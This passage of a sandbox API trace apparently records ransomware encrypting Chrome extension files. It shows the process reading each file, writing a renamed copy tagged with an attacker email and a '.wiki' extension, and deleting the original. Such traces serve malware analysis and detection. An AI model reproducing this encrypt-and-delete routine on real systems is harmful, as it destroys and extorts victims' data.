returned 134 [0173.583] lstrlenW (lpString=".1cd") returned 4 [0173.583] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0173.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.583] lstrlenW (lpString=".jpg") returned 4 [0173.583] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0173.583] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.583] lstrlenW (lpString="manifest.json") returned 13 [0173.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.584] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=1004) returned 1 [0173.584] CloseHandle (hObject=0x320) returned 1 [0173.584] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json")) returned 0x2020 [0173.584] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.584] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.584] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.585] GetLastError () returned 0x0 [0173.585] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x3ec, lpOverlapped=0x0) returned 1 [0173.586] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3f0, lpOverlapped=0x0) returned 1 [0173.587] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.587] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.587] SetEndOfFile (hFile=0x198) returned 1 [0173.588] CloseHandle (hObject=0x198) returned 1 [0173.588] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.588] SetEndOfFile (hFile=0x320) returned 1 [0173.588] CloseHandle (hObject=0x320) returned 1 [0173.588] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.589] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json")) returned 1 [0173.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.589] lstrlenW (lpString=".doc") returned 4 [0173.589] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.589] lstrlenW (lpString=".docx") returned 5 [0173.589] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.589] lstrlenW (lpString=".pdf") returned 4 [0173.589] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.589] lstrlenW (lpString=".xls") returned 4 [0173.589] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.589] lstrlenW (lpString=".xlsx") returned 5 [0173.589] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.589] lstrlenW (lpString=".ppt") returned 4 [0173.589] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.589] lstrlenW (lpString=".zip") returned 4 [0173.589] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.589] lstrlenW (lpString=".rar") returned 4 [0173.589] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.589] lstrlenW (lpString=".bz2") returned 4 [0173.589] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.589] lstrlenW (lpString=".7z") returned 3 [0173.590] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.590] lstrlenW (lpString=".dbf") returned 4 [0173.590] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.590] lstrlenW (lpString=".1cd") returned 4 [0173.590] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.590] lstrlenW (lpString=".jpg") returned 4 [0173.590] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.590] lstrlenW (lpString=".doc") returned 4 [0173.590] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.590] lstrlenW (lpString=".docx") returned 5 [0173.590] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.590] lstrlenW (lpString=".pdf") returned 4 [0173.590] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.590] lstrlenW (lpString=".xls") returned 4 [0173.590] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.590] lstrlenW (lpString=".xlsx") returned 5 [0173.590] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.590] lstrlenW (lpString=".ppt") returned 4 [0173.590] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.590] lstrlenW (lpString=".zip") returned 4 [0173.590] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.590] lstrlenW (lpString=".rar") returned 4 [0173.591] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.591] lstrlenW (lpString=".bz2") returned 4 [0173.591] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.591] lstrlenW (lpString=".7z") returned 3 [0173.591] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.591] lstrlenW (lpString=".dbf") returned 4 [0173.591] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.591] lstrlenW (lpString=".1cd") returned 4 [0173.591] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 140 [0173.591] lstrlenW (lpString=".jpg") returned 4 [0173.591] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.591] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.591] lstrlenW (lpString="messages.json") returned 13 [0173.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.592] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=278) returned 1 [0173.592] CloseHandle (hObject=0x320) returned 1 [0173.592] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json")) returned 0x2020 [0173.592] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.593] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.593] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.593] GetLastError () returned 0x0 [0173.593] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x116, lpOverlapped=0x0) returned 1 [0173.594] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x120, lpOverlapped=0x0) returned 1 [0173.595] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.595] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.595] SetEndOfFile (hFile=0x198) returned 1 [0173.595] CloseHandle (hObject=0x198) returned 1 [0173.595] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.596] SetEndOfFile (hFile=0x320) returned 1 [0173.596] CloseHandle (hObject=0x320) returned 1 [0173.596] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.596] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json")) returned 1 [0173.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.597] lstrlenW (lpString=".doc") returned 4 [0173.597] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.597] lstrlenW (lpString=".docx") returned 5 [0173.597] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.597] lstrlenW (lpString=".pdf") returned 4 [0173.597] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.597] lstrlenW (lpString=".xls") returned 4 [0173.597] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.597] lstrlenW (lpString=".xlsx") returned 5 [0173.597] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.597] lstrlenW (lpString=".ppt") returned 4 [0173.597] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.597] lstrlenW (lpString=".zip") returned 4 [0173.597] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.597] lstrlenW (lpString=".rar") returned 4 [0173.597] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.597] lstrlenW (lpString=".bz2") returned 4 [0173.597] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.597] lstrlenW (lpString=".7z") returned 3 [0173.597] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.598] lstrlenW (lpString=".dbf") returned 4 [0173.598] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.598] lstrlenW (lpString=".1cd") returned 4 [0173.598] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.598] lstrlenW (lpString=".jpg") returned 4 [0173.598] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.598] lstrlenW (lpString=".doc") returned 4 [0173.598] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.598] lstrlenW (lpString=".docx") returned 5 [0173.598] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.598] lstrlenW (lpString=".pdf") returned 4 [0173.598] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.598] lstrlenW (lpString=".xls") returned 4 [0173.598] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.598] lstrlenW (lpString=".xlsx") returned 5 [0173.598] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.598] lstrlenW (lpString=".ppt") returned 4 [0173.598] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.598] lstrlenW (lpString=".zip") returned 4 [0173.598] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.598] lstrlenW (lpString=".rar") returned 4 [0173.598] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.598] lstrlenW (lpString=".bz2") returned 4 [0173.598] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.598] lstrlenW (lpString=".7z") returned 3 [0173.599] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.599] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.599] lstrlenW (lpString=".dbf") returned 4 [0173.599] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.599] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.599] lstrlenW (lpString=".1cd") returned 4 [0173.599] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.599] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 152 [0173.599] lstrlenW (lpString=".jpg") returned 4 [0173.599] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.599] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.599] lstrlenW (lpString="messages.json") returned 13 [0173.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.599] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=319) returned 1 [0173.599] CloseHandle (hObject=0x320) returned 1 [0173.600] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json")) returned 0x2020 [0173.600] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.600] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.600] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.600] GetLastError () returned 0x0 [0173.600] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x13f, lpOverlapped=0x0) returned 1 [0173.601] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x140, lpOverlapped=0x0) returned 1 [0173.602] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: 